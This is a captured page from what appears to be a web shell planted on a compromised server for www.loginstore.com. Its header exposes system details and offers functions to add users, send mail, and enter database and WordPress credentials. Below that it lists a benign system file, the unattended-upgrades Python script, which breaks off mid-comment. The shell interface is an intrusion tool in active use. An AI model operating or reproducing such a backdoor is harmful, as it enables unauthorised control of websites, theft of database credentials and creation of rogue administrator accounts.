System
:
Linux loginstore 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64
Software
:
Apache/2.4.52 (Ubuntu)
Server
:
200.10.71.112
Domains
:
Cant read /etc/named.conf
Permission
:
[
drwxr-xr-x
]
:
/
bin
/
10.10.0.71
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for www.loginstore.com made by tabagkayu.
Folder Name
File Name
File Content
File
unattended-upgrades
#!/usr/bin/python3 # Copyright (c) 2005-2018 Canonical Ltd # # AUTHOR: # Michael Vogt <mvo@ubuntu.com> # Balint Reczey <rbalint@ubuntu.com> # This file is part of unattended-upgrades # # unattended-upgrades is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as published # by the Free Software Foundation; either version 2 of the License, or (at # your option) any later version. # # unattended-upgrades is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with unattended-upgrades; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # import atexit import copy import datetime import errno import email.charset import fcntl import fnmatch import gettext try: from gi.repository.Gio import NetworkMonitor except ImportError: pass import grp import io import locale import logging import logging.handlers import re import os import select import signal import socket import string import subprocess import sys import syslog try: from typing import AbstractSet, cast, DefaultDict, Dict, Iterable, List AbstractSet # pyflakes DefaultDict # pyflakes Dict # pyflakes Iterable # pyflakes List # pyflakes from typing import Set, Tuple, Union Set # pyflakes Tuple # pyflakes Union # pyflakes except ImportError: pass from collections import defaultdict, namedtuple from datetime import date from email.message import Message from gettext import gettext as _ from io import StringIO from optparse import ( OptionParser, SUPPRESS_HELP, ) from subprocess import ( Popen, PIPE, ) from textwrap import wrap import apt import apt_inst import apt_pkg import distro_info # the reboot required flag file used by packages REBOOT_REQUIRED_FILE = "/var/run/reboot-required" KEPT_PACKAGES_FILE = "var/lib/unattended-upgrades/kept-back" MAIL_BINARY = "/usr/bin/mail" SENDMAIL_BINARY = "/usr/sbin/sendmail" USERS = "/usr/bin/users" # no py3 lsb_release in debian :/ DISTRO_CODENAME = subprocess.check_output( ["lsb_release", "-c", "-s"], universal_newlines=True).strip() # type: str DISTRO_DESC = subprocess.check_output( ["lsb_release", "-d", "-s"], universal_newlines=True).strip() # type: str DISTRO_ID = subprocess.check_output( ["lsb_release", "-i", "-s"], universal_newlines=True).strip() # type: str # Number of days before release of devel where we enable unattended # upgrades. DEVEL_UNTIL_RELEASE = datetime.timedelta(days=21) # progress information is written here PROGRESS_LOG = "/var/run/unattended-upgrades.progress" PID_FILE = "/var/run/unattended-upgrades.pid" LOCK_FILE = "/var/run/unattended-upgrades.lock" # set from the sigint signal handler SIGNAL_STOP_REQUEST = False # messages to be logged only once logged_msgs = set() # type: AbstractSet[str] NEVER_PIN = -32768 class LoggingDateTime: """The date/time representation for the dpkg log file timestamps""" LOG_DATE_TIME_FMT = "%Y-%m-%d %H:%M:%S" @classmethod def as_string(cls): # type: () -> str """Return the current date and time as LOG_DATE_TIME_FMT string""" return datetime.datetime.now().strftime(cls.LOG_DATE_TIME_FMT) @classmethod def from_string(cls, logstr): # type: (str) -> datetime.datetime """Take a LOG_DATE_TIME_FMT string and return datetime object""" return datetime.datetime.strptime(logstr, cls.LOG_DATE_TIME_FMT) class UnknownMatcherError(ValueError): pass class NoAllowedOriginError(ValueError): pass PkgPin = namedtuple('PkgPin', ['pkg', 'priority']) PkgFilePin = namedtuple('PkgFilePin', ['id', 'priority']) class UnattendedUpgradesCache(apt.Cache): def __init__(self, rootdir): # type: (str) -> None self._cached_candidate_pkgnames = set() # type: Set[str] self.allowed_origins = get_allowed_origins() logging.info(_("Allowed origins are: %s"), ", ".join(self.allowed_origins)) self.blacklist = apt_pkg.config.value_list( "Unattended-Upgrade::Package-Blacklist") logging.info(_("Initial blacklist: %s"), " ".join(self.blacklist)) self.whitelist = apt_pkg.config.value_list( "Unattended-Upgrade::Package-Whitelist") self.strict_whitelist = apt_pkg.config.find_b( "Unattended-Upgrade::Package-Whitelist-Strict", False) logging.info(_("Initial whitelist (%s): %s"), "strict" if self.strict_whitelist else "not strict", " ".join(self.whitelist)) apt.Cache.__init__(self, rootdir=rootdir) # pre-heat lazy-loaded modules to avoid crash on python upgrade datetime.datetime.strptime("", "") # generate versioned_kernel_pkgs_regexp for later use self.versioned_kernel_pkgs_regexp = versioned_kernel_pkgs_regexp() self.running_kernel_pkgs_regexp = running_kernel_pkgs_regexp() if self.versioned_kernel_pkgs_regexp: logging.debug("Using %s regexp to find kernel packages", self.versioned_kernel_pkgs_regexp.pattern) else: logging.debug("APT::VersionedKernelPackages is not set") if self.running_kernel_pkgs_regexp: logging.debug("Using %s regexp to find running kernel packages", self.running_kernel_pkgs_regexp.pattern) def find_better_version(self, pkg): # type (apt.Package) -> apt.package.Version if pkg.is_installed and pkg.versions[0] > pkg.installed: logging.debug( "Package %s has a higher version available, checking if it is " "from an allowed origin and is not pinned down.", pkg.name) for v in pkg.versions: if pkg.installed < v \ and pkg.installed.policy_priority <= v.policy_priority \ and is_in_allowed_origin(v, self.allowed_origins): return v return None def find_kept_packages(self, dry_run): # type: (bool) -> KeptPkgs """ Find kept packages not collected already """ kept_packages = KeptPkgs(set) if dry_run: logging.info(_("The list of kept packages can't be calculated in " "dry-run mode.")) return kept_packages for pkg in self: better_version = self.find_better_version(pkg) if better_version: logging.info(self.kept_package_excuse(pkg._pkg, self.blacklist, self.whitelist, self.strict_whitelist, better_version)) kept_packages.add(pkg, better_version, self) return kept_packages def kept_package_excuse(self, pkg, # apt.Package blacklist, # type: List[str] whitelist, # type: List[str] strict_whitelist, # type: bool better_version # type: apt.package.Version ): # type: (...) -> str """ Log the excuse the package is kept back for """ if pkg.selected_state == apt_pkg.SELSTATE_HOLD: return _("Package %s is marked to be held back.") % pkg.name elif is_pkgname_in_blacklist(pkg.name, blacklist): return _("Package %s is blacklisted.") % pkg.name elif whitelist: if strict_whitelist: if not is_pkgname_in_whitelist(pkg.name, whitelist): return (_( "Package %s is not on the strict whitelist.") % pkg.name) else: if not is_pkgname_in_whitelist(pkg.name, whitelist): return (_( "Package %s is not whitelisted and it is not a" " dependency of a whitelisted package.") % pkg.name) elif not any([o.trusted for o in better_version.origins]): return _("Package %s's origin is not trusted.") % pkg.name return (_("Package %s is kept back because a related package" " is kept back or due to local apt_preferences(5).") % pkg.name) def pinning_from_regex_list(self, regexps, priority): # type: (List[str], int) -> List[PkgPin] """ Represent blacklist as Python regexps as list of pkg pinnings""" pins = [] # type: List[PkgPin] for regex in regexps: if python_regex_is_posix(regex): pins.append(PkgPin('/^' + regex + '/', priority)) else: # Python regex is not also an equivalent POSIX regexp. # This is expected to be rare. Go through all the package names # and pin all the matching ones. for pkg in self._cache.packages: if re.match(regex, pkg.name): pins.append(PkgPin(pkg.name, priority)) return pins def pinning_from_config(self): # type: () -> List[Union[PkgPin, PkgFilePin]] """ Represent configuration as list of pinnings Assumes self.allowed_origins to be already set. """ pins = [] # type: List[Union[PkgPin, PkgFilePin]] # mark not allowed origins with 'never' pin for pkg_file in self._cache.file_list: # type: ignore if not is_allowed_origin(pkg_file, self.allowed_origins): # Set the magic 'never' pin on not allowed origins logging.debug("Marking not allowed %s with %s pin", pkg_file, NEVER_PIN) pins.append(PkgFilePin(pkg_file.id, NEVER_PIN)) # TODO(rbalint) pin not trusted origins with NEVER_PIN elif self.strict_whitelist: # set even allowed origins to -1 and set individual package # priorities up later pins.append(PkgFilePin(pkg_file.id, -1)) # mark blacklisted packages with 'never' pin pins.extend(self.pinning_from_regex_list( # type: ignore self.blacklist, NEVER_PIN)) # set priority of whitelisted packages to high pins.extend(self.pinning_from_regex_list( # type: ignore self.whitelist, 900)) if self.strict_whitelist: policy = self._depcache.policy # pin down already pinned packages which are not on the whitelist # to not install locally pinned up packages accidentally for pkg in self._cache.packages: if pkg.has_versions: pkg_ver = policy.get_candidate_ver(pkg) # type: ignore if pkg_ver is not None \ and policy.get_priority(pkg_ver) > -1: # the pin is higher than set for allowed origins, thus # there is extra pinning configuration if not is_pkgname_in_whitelist(pkg.name, self.whitelist): pins.append(PkgPin(pkg.name, NEVER_PIN)) return pins def apply_pinning(self, pins): # type: (List[Union[PkgPin, PkgFilePin]]) -> None """ Apply the list of pins """ policy = self._depcache.policy pkg_files = {f.id: f for f in self._cache.file_list} # type: ignore for pin in pins: logging.debug("Applying pinning: %s" % str(pin)) if isinstance(pin, PkgPin): policy.create_pin('Version', pin.pkg, '*', # type: ignore pin.priority) elif isinstance(pin, PkgFilePin): logging.debug("Applying pin %s to package_file: %s" % (pin.priority, str(pkg_files[pin.id]))) policy.set_priority(pkg_files[pin.id], # type: ignore pin.priority) def open(self, progress=None): apt.Cache.open(self, progress) # apply pinning generated from unattended-upgrades configuration self.apply_pinning(self.pinning_from_config()) def adjust_candidate(self, pkg): # type: (apt.Package) -> bool """ Adjust origin and return True if adjustment took place This is needed when e.g. a package is available in the security pocket but there is also a package in the updates pocket with a higher version number """ try: new_cand = ver_in_allowed_origin(pkg, self.allowed_origins) # Only adjust to lower versions to avoid flipping back and forth # and to avoid picking a newer version, not selected by apt. # This helps avoiding upgrades to experimental's packages. if pkg.candidate is not None and new_cand < pkg.candidate: logging.debug("adjusting candidate version: %s" % new_cand) pkg.candidate = new_cand return True else: return False except NoAllowedOriginError: return False def call_checked(self, function, pkg, **kwargs): """ Call function and check if package is in the wanted state """ try: function(pkg, **kwargs) except SystemError as e: logging.warning( _("package %s upgradable but fails to " "be marked for upgrade (%s)"), pkg.name, e) self.clear() return False return ((function == apt.package.Package.mark_upgrade or function == apt.package.Package.mark_install) and (pkg.marked_upgrade or pkg.marked_install)) def call_adjusted(self, function, pkg, **kwargs): """Call function, but with adjusting packages in changes to come from allowed origins Note that as a side effect more package's candidate can be adjusted than only the one's in the final changes set. """ new_pkgs_to_adjust = [] # List[str] if not is_pkg_change_allowed(pkg, self.blacklist, self.whitelist, self.strict_whitelist): return if function == apt.package.Package.mark_upgrade \ and not pkg.is_upgradable: if not apt_pkg.config.find_b("Unattended-Upgrade::Allow-downgrade", False): return else: function = apt.package.Package.mark_install marking_succeeded = self.call_checked(function, pkg, **kwargs) if (not marking_succeeded or not check_changes_for_sanity(self, desired_pkg=pkg)) \ and allow_marking_fallback(): logging.debug("falling back to adjusting %s's dependencies" % pkg.name) self.clear() # adjust candidates in advance if needed for pkg_name in self._cached_candidate_pkgnames: self.adjust_candidate(self[pkg_name]) self.adjust_candidate(pkg) for dep in transitive_dependencies(pkg, self, level=1): try: self.adjust_candidate(self[dep]) except KeyError: pass self.call_checked(function, pkg, **kwargs) for marked_pkg in self.get_changes(): if marked_pkg.name in self._cached_candidate_pkgnames: continue if not is_in_allowed_origin(marked_pkg.candidate, self.allowed_origins): try: ver_in_allowed_origin(marked_pkg, self.allowed_origins) # important! this avoids downgrades below if pkg.is_installed and not pkg.is_upgradable and \ apt_pkg.config.find_b("Unattended-Upgrade::Allow-" "downgrade", False): continue new_pkgs_to_adjust.append(marked_pkg) except NoAllowedOriginError: pass if new_pkgs_to_adjust: new_pkg_adjusted = False for pkg_to_adjust in new_pkgs_to_adjust: if self.adjust_candidate(pkg_to_adjust): self._cached_candidate_pkgnames.add(pkg_to_adjust.name) new_pkg_adjusted = True if new_pkg_adjusted: self.call_adjusted(function, pkg, **kwargs) def mark_upgrade_adjusted(self, pkg, **kwargs): self.call_adjusted(apt.package.Package.mark_upgrade, pkg, **kwargs) def mark_install_adjusted(self, pkg, **kwargs): self.call_adjusted(apt.package.Package.mark_install, pkg, **kwargs) class LogInstallProgress(apt.progress.base.InstallProgress): """ Install progress that writes to self.progress_log (/var/run/unattended-upgrades.progress by default) """ def __init__(self, logfile_dpkg, verbose=False, progress_log="var/run/unattended-upgrades.progress"): # type: (str, bool, str) -> None apt.progress.base.InstallProgress.__init__(self) self.logfile_dpkg = logfile_dpkg self.progress_log = os.path.join(apt_pkg.config.find_dir("Dir"), progress_log) self.verbose = verbose self.output_logfd = None # type: int def status_change(self, pkg, percent, status): # type: (str, float, str) -> None with open(self.progress_log, "w") as f: f.write(_("Progress: %s %% (%s)") % (percent, pkg)) def _fixup_fds(self): # () -> None required_fds = [0, 1, 2, # stdin, stdout, stderr self.writefd, self.write_stream.fileno(), self.statusfd, self.status_stream.fileno() ] # ensure that our required fds close on exec for fd in required_fds[3:]: old_flags = fcntl.fcntl(fd, fcntl.F_GETFD) fcntl.fcntl(fd, fcntl.F_SETFD, old_flags | fcntl.FD_CLOEXEC) # close all fds proc_fd = "/proc/self/fd" if os.path.exists(proc_fd): error_count = 0 for fdname in os.listdir(proc_fd): try: fd = int(fdname) except Exception: print("ERROR: can not get fd for %s" % fdname) if fd in required_fds: continue try: os.close(fd) # print("closed: ", fd) except OSError as e: # there will be one fd that can not be closed # as its the fd from pythons internal diropen() # so its ok to ignore one close error error_count += 1 if error_count > 1: print("ERROR: os.close(%s): %s" % (fd, e)) def _redirect_stdin(self): # type: () -> None REDIRECT_INPUT = os.devnull fd = os.open(REDIRECT_INPUT, os.O_RDWR) os.dup2(fd, 0) def _redirect_output(self): # type: () -> None # do not create log in dry-run mode, just output to stdout/stderr if not apt_pkg.config.find_b("Debug::pkgDPkgPM", False): logfd = self._get_logfile_dpkg_fd() os.dup2(logfd, 1) os.dup2(logfd, 2) def _get_logfile_dpkg_fd(self): # type: () -> int logfd = os.open( self.logfile_dpkg, os.O_RDWR | os.O_APPEND | os.O_CREAT, 0o640) try: adm_gid = grp.getgrnam("adm").gr_gid os.fchown(logfd, 0, adm_gid) except (KeyError, OSError): pass return logfd def update_interface(self): # type: () -> None # call super class first apt.progress.base.InstallProgress.update_interface(self) self._do_verbose_output_if_needed() def _do_verbose_output_if_needed(self): # type: () -> None # if we are in debug mode, nothing to be more verbose about if apt_pkg.config.find_b("Debug::pkgDPkgPM", False): return # handle verbose if self.verbose: if self.output_logfd is None: self.output_logfd = os.open(self.logfile_dpkg, os.O_RDONLY) os.lseek(self.output_logfd, 0, os.SEEK_END) try: select.select([self.output_logfd], [], [], 0) # FIXME: this should be OSError, but in py2.7 it is still # select.error except select.error as e: if e.errno != errno.EINTR: # type: ignore logging.exception("select failed") # output to stdout in verbose mode only os.write(1, os.read(self.output_logfd, 1024)) def _log_in_dpkg_log(self, msg): # type: (str) -> None logfd = self._get_logfile_dpkg_fd() os.write(logfd, msg.encode("utf-8")) os.close(logfd) def finish_update(self): # type: () -> None self._log_in_dpkg_log("Log ended: %s\n\n" % LoggingDateTime.as_string()) def fork(self): # type: () -> int self._log_in_dpkg_log("Log started: %s\n" % LoggingDateTime.as_string()) pid = os.fork() if pid == 0: self._fixup_fds() self._redirect_stdin() self._redirect_output() return pid class Unlocked: """ Context manager for unlocking the apt lock while cache.commit() is run """ def __enter__(self): # type: () -> None try: apt_pkg.pkgsystem_unlock_inner() except Exception: # earlier python-apt used to leak lock logging.warning("apt_pkg.pkgsystem_unlock() failed due to not " "holding the lock but trying to continue") pass def __exit__(self, exc_type, exc_value, exc_tb): # type: (object, object, object) -> None apt_pkg.pkgsystem_lock_inner() class KeptPkgs(defaultdict): """ Packages to keep by highest allowed pretty-printed origin """ def add(self, pkg, # type: apt.Package version, # type: apt.package.Version cache # type: UnattendedUpgradesCache ): # type: (...) -> None for origin in version.origins: if is_allowed_origin(origin, cache.allowed_origins): self[origin.origin + " " + origin.archive].add(pkg.name) return class UnattendedUpgradesResult: """ Represent the (potentially partial) results of an unattended-upgrades run """ def __init__(self, success, # type: bool result_str="", # type: str pkgs=[], # type: List[str] pkgs_kept_back=KeptPkgs(set), # type: KeptPkgs pkgs_removed=[], # type: List[str] pkgs_kept_installed=[], # type: List[str] update_stamp=False # type: bool ): # type: (...) -> None self.success = success self.result_str = result_str self.pkgs = pkgs self.pkgs_kept_back = pkgs_kept_back self.pkgs_removed = pkgs_removed self.pkgs_kept_installed = pkgs_kept_installed self.update_stamp = update_stamp def is_dpkg_journal_dirty(): # type: () -> bool """ Return True if the dpkg journal is dirty (similar to debSystem::CheckUpdates) """ d = os.path.join( os.path.dirname(apt_pkg.config.find_file("Dir::State::status")), "updates") for f in os.listdir(d): if re.match("[0-9]+", f): return True return False def signal_handler(signal, frame): # type: (int, object) -> None logging.warning("SIGTERM received, will stop") global SIGNAL_STOP_REQUEST SIGNAL_STOP_REQUEST = True def log_once(msg): # type: (str) -> None global logged_msgs if msg not in logged_msgs: logging.info(msg) logged_msgs.add(msg) # type: ignore def should_stop(): # type: () -> bool """ Return True if u-u needs to stop due to signal received or due to the system started to run on battery. """ if SIGNAL_STOP_REQUEST: logging.warning("SIGNAL received, stopping") return True try: if apt_pkg.config.find_b("Unattended-Upgrade::OnlyOnACPower", True) \ and subprocess.call("on_ac_power") == 1: logging.warning("System is on battery power, stopping") return True except FileNotFoundError: log_once( _("Checking if system is running on battery is skipped. Please " "install powermgmt-base package to check power status and skip " "installing updates when the system is running on battery.")) if apt_pkg.config.find_b( "Unattended-Upgrade::Skip-Updates-On-Metered-Connections", True): try: if NetworkMonitor.get_network_metered( NetworkMonitor.get_default()): logging.warning(_("System is on metered connection, stopping")) return True except NameError: log_once(_("Checking if connection is metered is skipped. Please " "install python3-gi package to detect metered " "connections and skip downloading updates.")) return False def substitute(line): # type: (str) -> str """ substitude known mappings and return a new string Currently supported ${distro-release} """ mapping = {"distro_codename": get_distro_codename(), "distro_id": get_distro_id()} return string.Template(line).substitute(mapping) def get_distro_codename(): # type: () -> str return DISTRO_CODENAME def get_distro_id(): # type: () -> str return DISTRO_ID def allow_marking_fallback(): # type: () -> bool return apt_pkg.config.find_b( "Unattended-Upgrade::Allow-APT-Mark-Fallback", get_distro_codename() != "sid") def versioned_kernel_pkgs_regexp(): apt_versioned_kernel_pkgs = apt_pkg.config.value_list( "APT::VersionedKernelPackages") if apt_versioned_kernel_pkgs: return re.compile("(" + "|".join( ["^" + p + "-[1-9][0-9]*\\.[0-9]+\\.[0-9]+-[0-9]+(-.+)?$" for p in apt_versioned_kernel_pkgs]) + ")") else: return None def running_kernel_pkgs_regexp(): apt_versioned_kernel_pkgs = apt_pkg.config.value_list( "APT::VersionedKernelPackages") if apt_versioned_kernel_pkgs: running_kernel_version = subprocess.check_output( ["uname", "-r"], universal_newlines=True).rstrip() kernel_escaped = re.escape(running_kernel_version) try: kernel_noflavor_escaped = re.escape( re.match("[1-9][0-9]*\\.[0-9]+\\.[0-9]+-[0-9]+", running_kernel_version)[0]) return re.compile("(" + "|".join( [("^" + p + "-" + kernel_escaped + "$|^" + p + "-" + kernel_noflavor_escaped + "$") for p in apt_versioned_kernel_pkgs]) + ")") except TypeError: # flavor could not be cut from version return re.compile("(" + "|".join( [("^" + p + "-" + kernel_escaped + "$") for p in apt_versioned_kernel_pkgs]) + ")") else: return None def get_allowed_origins_legacy(): # type: () -> List[str] """ legacy support for old Allowed-Origins var """ allowed_origins = [] # type: List[str] key = "Unattended-Upgrade::Allowed-Origins" try: for s in apt_pkg.config.value_list(key): # if there is a ":" use that as seperator, else use spaces if re.findall(r'(?<!\\):', s): (distro_id, distro_codename) = re.split(r'(?<!\\):', s) else: (distro_id, distro_codename) = s.split() # unescape "\:" back to ":" distro_id = re.sub(r'\\:', ':', distro_id) # escape "," (see LP: #824856) - can this be simpler? distro_id = re.sub(r'([^\\]),', r'\1\\,', distro_id) distro_codename = re.sub(r'([^\\]),', r'\1\\,', distro_codename) # convert to new format allowed_origins.append("o=%s,a=%s" % (substitute(distro_id), substitute(distro_codename))) except ValueError: logging.error(_("Unable to parse %s." % key)) raise return allowed_origins def get_allowed_origins(): # type: () -> List[str] """ return a list of allowed origins from apt.conf This will take substitutions (like distro_id) into account. """ allowed_origins = get_allowed_origins_legacy() key = "Unattended-Upgrade::Origins-Pattern" try: for s in apt_pkg.config.value_list(key): allowed_origins.append(substitute(s)) except ValueError: logging.error(_("Unable to parse %s." % key)) raise return allowed_origins def match_whitelist_string(whitelist, origin): # type: (str, Union[apt.package.Origin, apt_pkg.PackageFile]) -> bool """ take a whitelist string in the form "origin=Debian,label=Debian-Security" and match against the given python-apt origin. A empty whitelist string never matches anything. """ whitelist = whitelist.strip() if whitelist == "": logging.warning("empty match string matches nothing") return False res = True # make "\," the html quote equivalent whitelist = whitelist.replace("\\,", "%2C") for token in whitelist.split(","): # strip and unquote the "," back (what, value) = [s.strip().replace("%2C", ",") for s in token.split("=")] # logging.debug("matching %s=%s against %s" % ( # what, value, origin)) # support substitution here as well value = substitute(value) # first char is apt-cache policy output, send is the name # in the Release file if what in ("o", "origin"): match = fnmatch.fnmatch(origin.origin, value) elif what in ("l", "label"): match = fnmatch.fnmatch(origin.label, value) elif what in ("a", "suite", "archive"): match = fnmatch.fnmatch(origin.archive, value) elif what in ("c", "component"): match = fnmatch.fnmatch(origin.component, value) elif what in ("site",): match = fnmatch.fnmatch(origin.site, value) elif what in ("n", "codename",): match = fnmatch.fnmatch(origin.codename, value) else: raise UnknownMatcherError( "Unknown whitelist entry for matcher %s (token %s)" % ( what, token)) # update res res = res and match # logging.debug("matching %s=%s against %s" % ( # what, value, origin)) return res def python_regex_is_posix(expression): # type: (str) -> bool """ Returns if the Python regex is also an equivalent POSIX regex """ return re.match("^[-a-zA-Z0-9\\^\\$\\+\\.:]*$", expression) is not None def cache_commit(cache, # type: apt.Cache logfile_dpkg, # type: str verbose, # type: bool iprogress=None, # type: apt.progress.base.InstallProgress ): # type: (...) -> Tuple[bool, Exception] """Commit the changes from the given cache to the system""" error = None res = False if iprogress is None: iprogress = LogInstallProgress(logfile_dpkg, verbose) try: res = cache.commit(install_progress=iprogress) cache.open() except SystemError as e: error = e if verbose: logging.exception("Exception happened during upgrade.") cache.clear() return res, error def upgrade_normal(cache, logfile_dpkg, verbose): # type: (apt.Cache, str, bool) -> bool res, error = cache_commit(cache, logfile_dpkg, verbose) if res: logging.info(_("All upgrades installed")) else: logging.error(_("Installing the upgrades failed!")) logging.error(_("error message: %s"), error) logging.error(_("dpkg returned a error! See %s for details"), logfile_dpkg) return res def upgrade_in_minimal_steps(cache, # type: UnattendedUpgradesCache pkgs_to_upgrade, # type: List[str] logfile_dpkg="", # type: str verbose=False, # type: bool ): # type: (...) -> bool install_log = LogInstallProgress(logfile_dpkg, verbose) res = True # to upgrade contains the package names to_upgrade = set(pkgs_to_upgrade) for pkgname in upgrade_order(to_upgrade, cache): # upgrade packages and dependencies in increasing expected size of # package sets to upgrade/install together if pkgname not in to_upgrade: # pkg is upgraded in a previous set continue if should_stop(): return False pkg = cache[pkgname] try: if pkg.is_upgradable \ or candidate_version_changed(pkg): cache.mark_upgrade_adjusted( pkg, from_user=not pkg.is_auto_installed) elif not pkg.is_installed: cache.mark_install_adjusted(pkg, from_user=False) else: continue except Exception as e: logging.warning( _("package %s upgradable but fails to " "be marked for upgrade (%s)"), pkgname, e) cache.clear() res = False continue # double check that we are not running into side effects like # what could have been caused LP: #1020680 if not check_changes_for_sanity(cache): logging.info("While building minimal partition: " "cache has not allowed changes") cache.clear() continue changes = [p.name for p in cache.get_changes()] if not changes: continue # write progress log information if len(pkgs_to_upgrade) > 0: all_count = len(pkgs_to_upgrade) remaining_count = all_count - len(to_upgrade) percent = remaining_count / float(all_count * 100.0) else: percent = 100.0 install_log.status_change(pkg=",".join(changes), percent=percent, status="") # apply changes logging.debug("applying set %s" % changes) res, error = cache_commit(cache, logfile_dpkg, verbose, install_log) if error: if verbose: logging.exception("Exception happened during upgrade.") logging.error(_("Installing the upgrades failed!")) logging.error(_("error message: %s"), error) logging.error(_("dpkg returned a error! See %s for details"), logfile_dpkg) return False to_upgrade = to_upgrade - set(changes) logging.debug("left to upgrade %s" % to_upgrade) if len(to_upgrade) == 0: logging.info(_("All upgrades installed")) break return res def is_allowed_origin(origin, allowed_origins): # type: (Union[apt.package.Origin, apt_pkg.PackageFile], List[str]) -> bool # local origin is allowed by default if origin.component == 'now' and origin.archive == 'now' and \ not origin.label and not origin.site: return True for allowed in allowed_origins: if match_whitelist_string(allowed, origin): return True return False def is_in_allowed_origin(ver, allowed_origins): # type: (apt.package.Version, List[str]) -> bool if not ver: return False for origin in ver.origins: if is_allowed_origin(origin, allowed_origins): return True return False def ver_in_allowed_origin(pkg, allowed_origins): # type: (apt.Package, List[str]) -> apt.package.Version for ver in pkg.versions: if is_in_allowed_origin(ver, allowed_origins): # leave as soon as we have the highest new candidate return ver raise NoAllowedOriginError() def is_pkgname_in_blacklist(pkgname, blacklist): # type: (str, List[str]) -> bool for blacklist_regexp in blacklist: if re.match(blacklist_regexp, pkgname): logging.debug("skipping blacklisted package %s" % pkgname) return True return False def is_pkgname_in_whitelist(pkgname, whitelist): # type: (str, List[str]) -> bool # a empty whitelist means the user does not want to use this feature if not whitelist: return True for whitelist_regexp in whitelist: if re.match(whitelist_regexp, pkgname): logging.debug("only upgrading the following package %s" % pkgname) return True return False def is_pkg_change_allowed(pkg, blacklist, whitelist, strict_whitelist): # type: (apt.Package, List[str], List[str], bool) -> bool if is_pkgname_in_blacklist(pkg.name, blacklist): logging.debug("pkg %s package has been blacklisted" % pkg.name) return False # a strict whitelist will not allow any changes not in the # whitelist, most people will want the relaxed whitelist # that whitelists a package but pulls in the package # dependencies if strict_whitelist and \ not is_pkgname_in_whitelist(pkg.name, whitelist): logging.debug("pkg %s package is not whitelisted" % pkg.name) return False if pkg._pkg.selected_state == apt_pkg.SELSTATE_HOLD: logging.debug("pkg %s is on hold" % pkg.name) return False return True def transitive_dependencies(pkg, # type: apt.Package cache, # type: apt.Cache acc=set(), # type AbstractSet[str] valid_types=None, # type: AbstractSet[str] level=None # type: int ): # type (...) -> AbstractSet[str] """ All (transitive) dependencies of the package Note that alternative (|) dependencies are collected, too """ if not pkg.candidate or level is not None and level < 1: return acc for dep in pkg.candidate.dependencies: for base_dep in dep: if base_dep.name not in acc: if not valid_types or base_dep.rawtype in valid_types: acc.add(base_dep.name) try: transitive_dependencies( cache[base_dep.name], cache, acc, valid_types, level=(level - 1 if level is not None else None)) except KeyError: pass return acc def upgrade_order(to_upgrade, cache): # type: (AbstractSet[str], apt.Cache) -> List[str] """ Sort pkg names by the expected number of other packages to be upgraded with it. The calculation is not 100% accurate, it is an approximation. """ upgrade_set_sizes = {} # calculate upgrade sets follow_deps = {'Depends', 'PreDepends', 'Recommends'} for pkgname in to_upgrade: pkg = cache[pkgname] upgrade_set_sizes[pkgname] = len(transitive_dependencies( pkg, cache, valid_types=follow_deps).intersection(to_upgrade)) return sorted(upgrade_set_sizes, key=upgrade_set_sizes.get) def check_changes_for_sanity(cache, desired_pkg=None): # type: (UnattendedUpgradesCache, apt.Package) -> bool sanity_check_result = sanity_problem(cache, desired_pkg) if sanity_check_result is None: return True else: logging.debug("sanity check failed for: %s : %s" % (str({str(p.candidate) for p in cache.get_changes()}), sanity_check_result)) return False def sanity_problem(cache, desired_pkg): # type: (UnattendedUpgradesCache, apt.Package) -> str if cache._depcache.broken_count != 0: return ("there are broken packages in the cache") # If there are no packages to be installed they were kept back if cache.install_count == 0: return ("no package is selected to be upgraded or installed") changes = cache.get_changes() for pkg in changes: if pkg.marked_delete: return ("pkg %s is marked to be deleted" % pkg.name) if pkg.marked_install or pkg.marked_upgrade: # apt will never fallback from a trusted to a untrusted # origin so its good enough if we have a single trusted one if not any([o.trusted for o in pkg.candidate.origins]): return ("pkg %s is not from a trusted origin" % pkg.name) if not is_in_allowed_origin(pkg.candidate, cache.allowed_origins): return ("pkg %s is not in an allowed origin" % pkg.name) if not is_pkg_change_allowed(pkg, cache.blacklist, cache.whitelist, cache.strict_whitelist): return ("pkg %s is blacklisted or is not whitelisted" % pkg.name) # check if the package is unsafe to upgrade unattended ignore_require_restart = apt_pkg.config.find_b( "Unattended-Upgrade::IgnoreAppsRequireRestart", False) upgrade_requires = pkg.candidate.record.get("Upgrade-Requires") if pkg.marked_upgrade and ignore_require_restart is False \ and upgrade_requires == "app-restart": return ("pkg %s requires app-restart, it is not safe to " "upgrade it unattended") # check that the package we want to upgrade is in the change set if desired_pkg and desired_pkg not in changes: return ("pkg %s to be marked for upgrade/install is not marked " "accordingly" % desired_pkg.name) return None def is_deb(file): # type: (str) -> bool if file.endswith(".deb"): return True else: return False def pkgname_from_deb(debfile): # type: (str) -> str # FIXME: add error checking here try: control = apt_inst.DebFile(debfile).control.extractdata("control") sections = apt_pkg.TagSection(control) return sections["Package"] except (IOError, SystemError) as e: logging.error("failed to read deb file %s (%s)" % (debfile, e)) # dumb fallback return debfile.split("_")[0] def get_md5sum_for_file_in_deb(deb_file, conf_file): # type: (str, str) -> str dpkg_cmd = ["dpkg-deb", "--fsys-tarfile", deb_file] tar_cmd = ["tar", "-x", "-O", "-f", "-", "." + conf_file] md5_cmd = ["md5sum"] dpkg_p = Popen(dpkg_cmd, stdout=PIPE) tar_p = Popen(tar_cmd, stdin=dpkg_p.stdout, stdout=PIPE, universal_newlines=True) md5_p = Popen(md5_cmd, stdin=tar_p.stdout, stdout=PIPE, universal_newlines=True) pkg_md5sum = md5_p.communicate()[0].split()[0] for __p in [dpkg_p, tar_p, md5_p]: p = cast(Popen, __p) p.stdout.close() p.wait() return pkg_md5sum def get_md5sum_for_file_installed(conf_file, prefix): # type: (str, str) -> str try: with open(prefix + conf_file, 'rb') as fb: for hash_string in apt_pkg.Hashes(fb).hashes: # type: ignore if hash_string.hashtype == 'MD5Sum': return hash_string.hashvalue return None except IsADirectoryError: # the package replaces a directory wih a configuration file # # if the package changed this way it is safe to assume that # the transition happens without showing a prompt but if the admin # created the directory the admin will need to 